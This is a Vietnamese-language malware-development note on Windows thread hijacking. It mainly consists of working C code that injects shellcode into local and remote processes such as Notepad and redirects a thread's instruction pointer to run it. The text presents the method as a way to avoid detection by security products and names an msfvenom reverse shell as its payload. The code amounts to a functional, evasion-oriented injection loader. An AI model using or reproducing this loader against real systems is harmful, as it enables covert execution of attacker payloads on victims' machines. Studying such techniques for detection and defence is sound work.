Là một kỹ thuật cho phép thực thi payload bằng cách gián đoạn một thread rồi trỏ IP (Instruction Pointer) đến vùng nhớ của payload. Khi thread đó được tiếp tục thực thi, payload sẽ được thực thi.
Chúng ta sẽ sử dụng payload là TCP reverse shell của msfvenom vì nó sẽ giữ cho thread còn chạy sau khi kết thúc thực thi. Điều này giúp chúng ta có thể phân tích sâu hơn về kỹ thuật thread hijacking.
Thread Context
Ngữ cảnh của thread sẽ bao gồm tất cả những thông tin cần thiết để tiếp tục thực thi thread sau khi nó bị gián đoạn chẳng hạn như các thanh ghi của CPU và stack.
GetThreadContext
và SetThreadContext
lần lượt là 2 hàm dùng để lấy ra thread context và lưu lại thread context. Cả hai hàm này đều làm việc với cấu trúc CONTEXT
.
Thread Hijacking Vs Thread Creation
Việc tạo ra một thread mới có thể làm lộ base address của payload cũng như là nội dung của payload do thread entry sẽ trỏ đến địa chỉ đó. Trong khi đó, nếu sử dụng thread hijacking, thread entry sẽ không trỏ đến payload mà sẽ trỏ đến một hàm bình thường nào đó. Điều này giúp tránh né được sự phát hiện của các giải pháp bảo mật.
Local Thread Hijacking Steps
Important
Việc thực hiện thread hijacking cho local thread (thread trong tiến trình hiện tại) là để minh họa cho kỹ thuật này. Trong thực tế, ta sẽ sử dụng thread hijacking cho remote thread.
Creating The Target Thread
Trước tiên, ta cần tìm một thread đang chạy để gián đoạn.
Warning
Cần lưu ý rằng chúng ta không thể chọn thread chính vì thread mục tiêu cần phải ở trong trạng thái gián đoạn mà thread chính không thể bị gián đoạn.
Để giả lập, chúng ta sẽ tạo ra một thread mới trỏ đến một hàm bình thường rồi lấy handle của nó. Sau đó, chúng ta sẽ dùng handle này để thực hiện hijack và thực thi payload. Có 2 cách để giả lập:
- Tạo ra thread mới sử dụng
CreateThread
và truyềnCREATE_SUSPENDED
vào tham sốdwCreationFlags
. - Tạo một thread mới bình thường và sử dụng hàm
SuspendThread
để gián đoạn thread.
Cả hai cách trên đều cần sử dụng hàm ResumeThread
để tiếp tục thực thi thread sau khi chỉnh sửa IP.
Đoạn code bên dưới minh họa một hàm bình thường mà sẽ được dùng ở trong thread mới:
// dummy function to use for the sacrificial thread
VOID DummyFunction() {
// stupid code
int j = rand();
int i = j * j;
}
Thực hiện cách 1 để tạo ra thread mới trong trạng thái gián đoạn:
// Creating sacrificial thread in suspended state
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, &dwThreadId);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
Modifying The Thread’s Context
Sau khi có handle của thread, ta sẽ lấy ra thread context và chỉnh sửa RIP của nó nhằm trỏ đến payload. Cụ thể hơn, ta sẽ thay đổi thành phần RIP
(x64) hoặc EI
(x86) của cấu trúc CONTEXT
.
// Getting the original thread context
if (!GetThreadContext(hThread, &ThreadCtx)){
printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Updating the next instruction pointer to be equal to the payload's address
ThreadCtx.Rip = pAddress;
// Updating the new thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
Giải thích các biến trong đoạn code trên:
ThreadCtx
là cấu trúcCONTEXT
.pAddress
là địa chỉ của payload.
Khi thread được tiếp tục thực thi, nó sẽ thực thi payload.
Setting ContextFlags
Theo tài liệu của Microsoft, ta cần gán giá trị của CONTEXT.ContextFlags
trước khi gọi hàm GetThreadContext
. Cụ thể, ta cần gán là CONTEXT_CONTROL
thì mới có thể lấy ra các thanh ghi của CPU chẳng hạn như RIP.
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
Ngoài ra, ta cũng có thể gán là CONTEXT_ALL
.
Main Function
Hàm chính thực hiện thread hijacking:
int main() {
HANDLE hThread = NULL;
// Creating sacrificial thread in suspended state
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Hijacking the sacrificial thread created
if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
return -1;
}
// Resuming suspended thread, so that it runs our shellcode
ResumeThread(hThread);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Với RunViaClassicThreadHijacking
sẽ thực hiện những tác vụ sau:
- Cấp phát vùng nhớ với
VirtualAlloc
, sao chép payload vào vùng nhớ vớimemcpy
và thay đổi quyền bảo vệ vùng nhớ vớiVirtualProtect
. - Thay đổi RIP của thread context với
GetThreadContext
vàSetThreadContext
.
Demo
Sau khi chạy chương trình, ta sẽ thấy có 2 thread:
- Main thread:
mainCRTStartup
- Thread mới ở trạng thái gián đoạn:
DummyFunction
Remote Thread Hijacking Steps
Tương tự với local thread hijacking, ta cũng sẽ giả lập bằng cách tạo ra một tiến trình ở trạng thái bị gián đoạn và do đó mà tất cả các thread của nó cũng bị gián đoạn.
Using Environment Variables
Mục tiêu của chúng ta là tạo ra một tiến trình từ một file thực thi ở trong thư mục C:\Windows\System32
. Mặc dù ta có thể gán cứng giá trị này nhưng việc sử dụng biến môi trường sẽ giúp chúng ta linh hoạt hơn (chẳng hạn như khi hệ điều hành Windows không được cài ở ổ C
).
Để lấy ra đường dẫn của thư mục cài đặt hệ điều hành, ta sẽ sử dụng hàm GetEnvironmentVariableA
, có nguyên mẫu như sau:
DWORD GetEnvironmentVariableA(
[in, optional] LPCSTR lpName,
[out, optional] LPSTR lpBuffer,
[in] DWORD nSize
);
Biến môi trường mà ta cần lấy sẽ là WINDIR
. Biến này sẽ trỏ đến thư mục cài đặt của Windows, mà thường là C:\Windows
.
Xây dựng đường dẫn đến file thực thi của tiến trình ở trong System32
như sau:
// Getting the value of the %WINDIR% environment variable
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Creating the full target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
Biến lpPath
và biến WnDr
được khai báo như sau:
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
Với giá trị của MAX_PATH
là 260.
CreateProcess
WinAPI
Để tạo ra một process mới thì ta cần dùng hàm CreateProcessA
:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
Giải thích các tham số:
-
lpApplicationName
vàlpCommandLine
là đường dẫn tới file thực thi và các đối số dòng lệnh của nó. Có thể gánlpApplicationName
làNULL
vàlpCommandLine
là cả đường dẫn lẫn đối số chẳng hạn nhưC:\Windows\System32\cmd.exe /k whoami
. -
dwCreationFlags
: các cờ chỉ định cách tạo ra tiến trình. Ta sẽ sử dụng cờCREATE_SUSPENDED
để tạo ra tiến trình ở trạng thái bị gián đoạn. Xem thêm về các cờ tại đây. -
lpStartupInfo
: con trỏ đến cấu trúcSTARTUPINFO
chứa thông tin về cửa sổ mới của tiến trình. Thông tin duy nhất mà ta cần khởi tạo làcb
(kích thước của cấu trúcSTARTUPINFO
). -
lpProcessInformation
: là một tham sốOUT
có kiểu làPROCESS_INFORMATION
chứa thông tin về tiến trình mới được tạo ra.typedef struct _PROCESS_INFORMATION { HANDLE hProcess; // A handle to the newly created process. HANDLE hThread; // A handle to the main thread of the newly created process. DWORD dwProcessId; // Process ID DWORD dwThreadId; // Main Thread's ID } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
Khởi tạo
STARTUP_INFO
vàPROCESS_INFORMATION
như sau:STARTUPINFO Si = { 0 }; PROCESS_INFORMATION Pi = { 0 }; // Cleaning the structs by setting the member values to 0 RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO)); RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); // Setting the size of the structure Si.cb = sizeof(STARTUPINFO);
Gọi hàm như sau:
if (!CreateProcessA(
NULL, // No module name (use command line)
lpPath, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_SUSPENDED, // Creation flag
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&Si, // Pointer to STARTUPINFO structure
&Pi)) { // Pointer to PROCESS_INFORMATION structure
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// Populating the OUT parameters with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
Có thể thấy, ta sẽ lưu lại các thông tin về tiến trình sau khi nó được tạo ra:
- PID
- Handle đến tiến trình
- Handle đến thread chính
Injecting Remote Process Function
Sau khi tạo ra tiến trình thì ta sẽ thực hiện inject shellcode sử dụng VirtualAllocEx
, , WriteProcessMemory
và VirtualProtectEx
:
BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Remote Thread Hijacking Function
Cuối cùng, ta sẽ sử dụng handle đến thread chính của tiến trình ở trạng thái gián đoạn (hThread
) và địa chỉ của payload để thực hiện thread hijacking:
BOOL HijackThread (IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// getting the original thread context
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// updating the next instruction pointer to be equal to our shellcode's address
ThreadCtx.Rip = pAddress;
// setting the new updated thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// resuming suspended thread, thus running our payload
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
Có thể thấy, việc hijack remote thread cũng tương tự với việc hijack local thread: chúng ta sẽ lấy ra gán RIP của thread context là địa chỉ của shellcode rồi resume thread.
Hàm WaitForSingleObject
ở cuối là để đảm bảo shellcode được thực thi trước khi chương trình kết thúc (do chúng ta hijack main thread).
Demo
Chúng ta sẽ sử dụng Notepad.exe
để chạy tiến trình:
Có thể thấy, tiến trình được tạo ra chỉ có 1 thread chính và nó bị gián đoạn.
Ngoài ra, thread entry của tiến trình sẽ trông vô hại nhưng RIP của nó lại trỏ đến shellcode:
Local Thread Enumeration
Trong các phần trước, chúng ta giả lập bằng cách tạo ra một thread hoặc tiến trình sử dụng CreateThread
hoặc CreateProcess
để thực hiện thread hijacking. Trong thực tế, ta sẽ sử dụng những thread có sẵn. Cụ thể hơn, ta có thể dùng hàm CreateToolhelp32Snapshot
để liệt kê các thread có trong tiến trình hiện tại.
CreateToolhelp32Snapshot
Để sử dụng CreateToolhelp32Snapshot
nhằm liệt kê các thread, ta cần truyền vào tham số dwFlags
cờ TH32CS_SNAPTHREAD
.
HANDLE hSnapShot = NULL;
// Takes a snapshot of the currently running processes's threads
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
Khi đó, CreateToolhelp32Snapshot
sẽ trả về một handle đến snapshot có chứa các thread.
Chúng ta sẽ lưu thông tin của thread vào cấu trúc THREADENTRY32
, được định nghĩa như sau:
typedef struct tagTHREADENTRY32 {
DWORD dwSize; // sizeof(THREADENTRY32)
DWORD cntUsage;
DWORD th32ThreadID; // Thread ID
DWORD th32OwnerProcessID; // The PID of the process that created the thread.
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
} THREADENTRY32;
Sử dụng Thread32First
và Thread32Next
để lưu thông tin của các thread vào cấu trúc THREADENTRY32
:
// Getting the local process ID
DWORD dwProcessId = GetCurrentProcessId();
THREADENTRY32 Thr = {
.dwSize = sizeof(THREADENTRY32)
};
// Retrieves information about the first thread encountered in the snapshot.
if (!Thread32First(hSnapShot, &Thr)) {
printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// If the thread's PID is equal to the PID of the target process then
// this thread is running under the target process
// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local process
if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {
// Opening a handle to the thread
*dwThreadId = Thr.th32ThreadID;
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
if (*hThread == NULL)
printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());
break;
}
// While there are threads remaining in the snapshot
} while (Thread32Next(hSnapShot, &Thr));
Giải thích đoạn code trên:
- Ta cần phải khởi tạo thành phần
dwSize
củaTHREADENTRY32
trước khi sử dụng. - Để kiểm tra xem thread có thuộc tiến trình hiện tại hay không, chúng ta so sánh PID của tiến trình hiện tại (
GetCurrentProcessId()
) với thành phầnth32OwnerProcessID
của cấu trúcTHREADENTRY32
.- Nếu thread thuộc tiến trình hiện tại và không phải là thread chính thì ta tiến hành mở một handle đến thread sử dụng hàm
OpenThread
cũng như là lưu lại TID của thread đó. - Ngược lại, ta sẽ sử dụng
Thread32Next
để đi đến thread tiếp theo ở trong snapshot.
- Nếu thread thuộc tiến trình hiện tại và không phải là thread chính thì ta tiến hành mở một handle đến thread sử dụng hàm
Worker Threads
Mặc dù chúng ta không dùng CreateThread
ở trong code nhưng Windows cũng sẽ tự động tạo ra các worker thread để xử lý các công việc chẳng hạn như I/O. Các thread này chính là mục tiêu chính để thực hiện thread hijacking.
Ví dụ, các thread chạy hàm EtwNotificationRegister
chính là các worker thread được tạo ra bởi Windows nhằm báo hiệu cho hệ điều hành về một sự kiện nào đó (ETW là viết tắt của Event Tracing for Windows):
Local Thread Hijacking
Sau khi có được handle đến một thread mục tiêu thì ta sẽ tiến hành thực hiện thread hijacking:
BOOL HijackThread(HANDLE hThread, PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_ALL
};
SuspendThread(hThread);
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
ThreadCtx.Rip = pAddress;
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[#] Press <Enter> To Run ... ");
getchar();
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
Có thể thấy, ta sẽ thực hiện các bước tương tự như Local Thread Hijacking Steps:
- Gián đoạn thread sử dụng
SuspendThread
. - Lấy ra thread context sử dụng
GetThreadContext
và gán RIP là địa chỉ của shellcode. - Cập nhật thread context sử dụng
SetThreadContext
. - Khôi phục thread sử dụng
ResumeThread
. - Chờ cho thread thực thi xong sử dụng
WaitForSingleObject
.
Note
Chú ý rằng việc thực thi shellcode có thể mất một khoảng thời gian do thread bị hihacked không phải là thread chính và không được chạy liên tục.
Remote Thread Enumeration
Tương tự như khi thực hiện Local Thread Enumeration. Tuy nhiên, khi thực hiện liệt kê các thread trong một remote process, ta có thể chọn main thread làm mục tiêu.
Ngoài ra, ta cũng sẽ cần phải chỉ định process nào sẽ được sử dụng cho thread hijacking bằng cách cung cấp PID. Tất nhiên, để biết được PID từ tên của một tiến trình chẳng hạn như notepad++.exe
, ta sẽ cần phải thực hiện liệt kê các tiến trình1.
BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
HANDLE hSnapShot = NULL;
THREADENTRY32 Thr = {
.dwSize = sizeof(THREADENTRY32)
};
// Takes a snapshot of the currently running processes's threads
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first thread encountered in the snapshot.
if (!Thread32First(hSnapShot, &Thr)) {
printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// If the thread's PID is equal to the PID of the target process then
// this thread is running under the target process
if (Thr.th32OwnerProcessID == dwProcessId){
*dwThreadId = Thr.th32ThreadID;
*hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);
if (*hThread == NULL)
printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());
break;
}
// While there are threads remaining in the snapshot
} while (Thread32Next(hSnapShot, &Thr));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwThreadId == NULL || *hThread == NULL)
return FALSE;
return TRUE;
}
Sau khi có được handle đến thread trong remote process thì ta có thể tiến hành tiêm shellcode và hijack thread để thực thi shellcode.
Hình bên dưới minh họa cho việc ta đã tìm được một thread ở trong tiến trình notepad++.exe
:
Vùng nhớ ở trong remote process đã được cấp phát và shellcode đã được ghi:
Khi kiểm tra callstack của thread bị hijacked, ta thấy rằng địa chỉ của shellcode đang nằm ở đầu stack:
Related
list
from outgoing([[MalDev - Thread Hijacking]])
sort file.ctime asc
Resources
Footnotes
-
xem thêm Enumerating Processes và MalDev - Process Enumeration ↩